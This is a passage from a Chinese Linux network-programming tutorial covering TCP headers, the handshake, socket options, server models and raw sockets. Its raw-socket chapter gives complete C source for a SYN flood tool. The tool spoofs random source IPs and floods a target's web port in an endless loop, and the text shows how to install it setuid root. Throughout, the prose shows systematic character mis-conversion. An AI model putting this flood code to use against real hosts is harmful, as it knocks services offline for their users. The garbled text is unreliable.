seq标识该TCP所包含的数据字节的开始序列号
ack_seq确认序列号,表示接受方下一次接受的数据序列号.
doff数据首部长度.和IP协议同样,以4字节为单位.通常的时候为5
urg若是设置紧急数据指针,则该位为1
ack若是确认号正确,那么为1
psh若是设置为1,那么接收方收到数据后,当即交给上一层程序
rst为1的时候,表示请求从新链接
syn为1的时候,表示请求创建链接
fin为1的时候,表示亲戚关闭链接
window窗口,告诉接收者能够接收的大小
check对TCP数据进行较核
urg_ptr若是urg=1,那么指出紧急数据对于历史数据开始的序列号的偏移值
关于TCP协议的详细状况,请查看 RFC793
7.6 TCP链接的创建
TCP协议是一种可靠的链接,为了保证链接的可靠性,TCP的链接要分为几个步骤.咱们把这个链接过程称为"三次握手".
下面咱们从一个实例来分析创建链接的过程.
第一步客户机向服务器发送一个TCP数据包,表示请求创建链接. 为此,客户端将数据包的SYN位设置为1,
而且设置序列号seq=1000(咱们假设为1000).
第二步服务器收到了数据包,并从SYN位为1知道这是一个创建请求的链接.因而服务器也向客户端发送一个TCP数据包.
由于是响应客户机的请求, 因而服务器设置ACK为1,sak_seq=1001(1000+1)同时设置本身的序列号.seq=2000(咱们假设为2000).
第三步客户机收到了服务器的TCP,并从ACK为1和ack_seq=1001知道是从服务器来的确认信息.因而客户机也向服务器发送确认信息.
客户机设置ACK=1,和ack_seq=2001,seq=1001,发送给服务器.至此客户端完成链接.
最后一步服务器受到确认信息,也完成链接.
经过上面几个步骤,一个TCP链接就创建了.固然在创建过程当中可能出现错误,不过TCP协议能够保证本身去处理错误的.
说一说其中的一种错误.
据说过DOS吗?(可不是操做系统啊).今年春节的时候,美国的五大网站一块儿受到攻击.攻击者用的就是DOS(拒绝式服务)方式.
归纳的说一下原理.客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的TCP链接,客户机应该进行第三个步骤.
不过攻击者实际上并不进行第三个步骤.由于客户端在进行第一个步骤的时候,修改了本身的IP地址,就是说将一个实际上不存在的
IP填充在本身IP 数据包的发送者的IP一栏.这样由于服务器发的IP地址没有人接收,因此服务端会收不到第三个步骤的确认信号,
这样服务务端会在那边一直等待,直到超时.这样当有大量的客户发出请求后,服务端会有大量等待,直到全部的资源被用光,
而不能再接收客户机的请求.这样当正常的用户向服务器发出请求时,因为没有了资源而不能成功.
因而就出现了春节时所出现的状况.
(八)Linux网络编程--8. 套接字选项
有时候咱们要控制套接字的行为(如修改缓冲区的大小),这个时候咱们就要控制套接字的选项了.
8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)
level指定控制套接字的层次.能够取三种值:
1)SOL_SOCKET:通用套接字选项.
2)IPPROTO_IP:IP选项.
3)IPPROTO_TCP:TCP选项.
optname指定控制的方式(选项的名称),咱们下面详细解释
optval得到或者是设置套接字选项.根据选项名称的数据类型进行转换
选项名称 说明 数据类型
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST 容许发送广播数据 int
SO_DEBUG 容许调试 int
SO_DONTROUTE 不查找路由 int
SO_ERROR 得到套接字错误 int
SO_KEEPALIVE 保持链接 int
SO_LINGER 延迟关闭链接 struct linger
SO_OOBINLINE 带外数据放入正常数据流 int
SO_RCVBUF 接收缓冲区大小 int
SO_SNDBUF 发送缓冲区大小 int
SO_RCVLOWAT 接收缓冲区下限 int
SO_SNDLOWAT 发送缓冲区下限 int
SO_RCVTIMEO 接收超时 struct timeval
SO_SNDTIMEO 发送超时 struct timeval
SO_REUSERADDR 容许重用本地地址和端口 int
SO_TYPE 得到套接字类型 int
SO_BSDCOMPAT 与BSD系统兼容 int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL 在数据包中包含IP首部 int
IP_OPTINOS IP首部选项 int
IP_TOS 服务类型
IP_TTL 生存时间 int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG TCP最大数据段的大小 int
TCP_NODELAY 不使用Nagle算法 int
=========================================================================
关于这些选项的详细状况请查看 Linux Programmer's Manual
8.2 ioctl
ioctl能够控制全部的文件描述符的状况,这里介绍一下控制套接字的选项.
int ioctl(int fd,int req,...)
==========================================================================
ioctl的控制选项
--------------------------------------------------------------------------
SIOCATMARK 是否到达带外标记 int
FIOASYNC 异步输入/输出标志 int
FIONREAD 缓冲区可读的字节数 int
==========================================================================
详细的选项请用 man ioctl_list 查看.
(九)Linux网络编程--9. 服务器模型
学习过《软件工程》吧.软件工程但是每个程序员"必修"的课程啊.若是你没有学习过, 建议你去看一看. 在这一章里面,
咱们一块儿来从软件工程的角度学习网络编程的思想.在咱们写程序以前, 咱们都应该从软件工程的角度规划好咱们的软件,
这样咱们开发软件的效率才会高. 在网络程序里面,通常的来讲都是许多客户机对应一个服务器.为了处理客户机的请求,
对服务端的程序就提出了特殊的要求.咱们学习一下目前最经常使用的服务器模型.
<一>循环服务器:循环服务器在同一个时刻只能够响应一个客户端的请求
<二>并发服务器:并发服务器在同一个时刻能够响应多个客户端的请求
9.1 循环服务器:UDP服务器
UDP循环服务器的实现很是简单:UDP服务器每次从套接字上读取一个客户端的请求,处理, 而后将结果返回给客户机.
能够用下面的算法来实现.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
由于UDP是非面向链接的,没有一个客户端能够总是占住服务端. 只要处理过程不是死循环, 服务器对于每个客户机的请求老是可以知足.
9.2 循环服务器:TCP服务器
TCP循环服务器的实现也不难:TCP服务器接受一个客户端的链接,而后处理,完成了这个客户的全部请求后,断开链接.
算法以下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的全部请求都知足后, 服务器才能够继续后面的请求.
这样若是有一个客户端占住服务器不放时,其它的客户机都不能工做了.所以,TCP服务器通常不多用循环服务器模型的.
9.3 并发服务器:TCP服务器
为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每个客户机的请求并不禁服务器
直接处理,而是服务器建立一个 子进程来处理.
算法以下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP并发服务器能够解决TCP循环服务器客户机独占服务器的状况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,
服务器要建立子进程来处理. 而建立子进程是一种很是消耗资源的操做.
9.4 并发服务器:多路复用I/O
为了解决建立子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.
首先介绍一个函数select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
通常的来讲当咱们在向文件读写时,进程有可能在读写出阻塞,直到必定的条件知足. 好比咱们从一个套接字读数据时,可能缓冲区里面没有数据可读 (通讯的对方尚未 发送数据过来),这个时候咱们的读调用就会等待(阻塞)直到有数据可读.若是咱们不 但愿阻塞,咱们的一个选择是用select系统调用. 只要咱们设置好select的各个参数,那么当文件能够读写的时候select回"通知"咱们 说能够读写了. readfds全部要读的文件文件描述符的集合
writefds全部要的写文件文件描述符的集合
exceptfds其余的服要向咱们通知的文件描述符
timeout超时设置.
nfds全部咱们监控的文件描述符中最大的那一个加1
在咱们调用select时进程会一直阻塞直到如下的一种状况发生. 1)有文件能够读.2)有文件能够写.3)超时所设置的时间到.
为了设置文件描述符咱们要使用几个宏. FD_SET将fd加入到fdset
FD_CLR将fd从fdset里面清除
FD_ZERO从fdset中清除全部的文件描述符
FD_ISSET判断fd是否在fdset集合中
使用select的一个例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i
if(readfd[i]>maxfd) maxfd=readfd[i];
while(1)
{
/* 将全部的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i
FD_SET(readfd[i],*my_readfd);
/* 进程阻塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/* 有东西能够读了 */
for(i=0;i
if(FD_ISSET(readfd[i],&my_readfd))
{
/* 原来是我能够读了 */
we_read(readfd[i]);
}
}
}
使用select后咱们的服务器程序就变成了.
初始话(socket,bind,listen);
while(1)
{
设置监听读写文件描述符(FD_*);
调用select;
若是是倾听套接字就绪,说明一个新的链接请求创建
{
创建链接(accept);
加入到监听文件描述符中去;
}
不然说明是一个已经链接过的描述符
{
进行操做(read或者write);
}
}
多路复用I/O能够解决资源限制的问题.这模型其实是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.
如因为服务器依次处理客户的请求,因此可能会致使有的客户 会等待好久.
9.5 并发服务器:UDP服务器
人们把并发的概念用于UDP就获得了并发UDP服务器模型. 并发UDP服务器模型实际上是简单的.和并发的TCP服务器模型同样是建立
一个子进程来处理的 算法和并发的TCP模型同样.
除非服务器在处理客户端的请求所用的时间比较长之外,人们实际上不多用这种模型.
9.6 一个并发TCP服务器实例
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in client_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s\n\a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 若是服务器终止后,服务器能够第二次快速启动而不用等待一段时间 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s\n\a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s\n\a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子进程处理客户端的链接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s\n\a",strerror(errno));
close(accept_fd);
}
}
你能够用咱们前面写客户端程序来调试着程序,或者是用来telnet调试
(十)Linux网络编程--10. 原始套接字
咱们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面咱们一块儿来学习另外
一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,咱们能够编写出由TCP和UDP套接字不可以实现的功能.
注意原始套接字只可以由有 root权限的人建立.
10.1 原始套接字的建立
int sockfd(AF_INET,SOCK_RAW,protocol)
能够建立一个原始套接字.根据协议的类型不一样咱们能够建立不一样类型的原始套接字 好比:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
详细的状况查看 socket的man手册 下面咱们以一个实例来讲明原始套接字的建立和使用
10.2 一个原始套接字的实例
还记得DOS是什么意思吗?在这里咱们就一块儿来编写一个实现DOS的小程序. 下面是程序的源代码
/******************** DOS.c *****************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP建立一个TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由咱们本身来填写 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,只用超级护用户才可使用原始套接字 *********/
setuid(getpid());
/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置咱们的数据包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 咱们的数据包实际上没有任何内容,因此长度就是两个结构的长度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本通常的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_len=htons(head_len); /** IP数据包的长度 **/
ip->ip_id=0; /** 让系统去填写吧 **/
ip->ip_off=0; /** 和上面同样,省点时间 **/
ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->ip_p=IPPROTO_TCP; /** 咱们要发的是 TCP包 **/
ip->ip_sum=0; /** 校验和让系统去作 **/
ip->ip_dst=addr->sin_addr; /** 咱们攻击的对象 **/
/******* 开始填写TCP数据包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要创建链接 **/
tcp->check=0;
/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/** 什么都让系统作了,也没有多大的意思,仍是让咱们本身来校验头部吧 */
/** 下面这条无关紧要 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
编译一下,拿localhost作一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户能够运行这个程序,
咱们应该将这个程序的全部者变为root,且 设置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 总结
原始套接字和通常的套接字不一样的是之前许多由系统作的事情,如今要由咱们本身来作了. 不过这里面是否是有不少的乐趣呢.
当咱们建立了一个 TCP套接字的时候,咱们只是负责把咱们要发送的内容(buffer)传递给了系统. 系统在收到咱们的数据后,
回自动的调用相应的模块给数据加上TCP 头部,而后加上IP头部. 再发送出去.而如今是咱们本身建立各个的头部,系统只是把它们
发送出去. 在上面的实例中,因为咱们要修改咱们的源IP地址, 因此咱们使用了setsockopt函数,若是咱们只是修改TCP数据,
那么IP数据同样也能够由系统来建立的.
转自：http://www.cnblogs.com/duzouzhe/archive/2009/06/19/1506699.html
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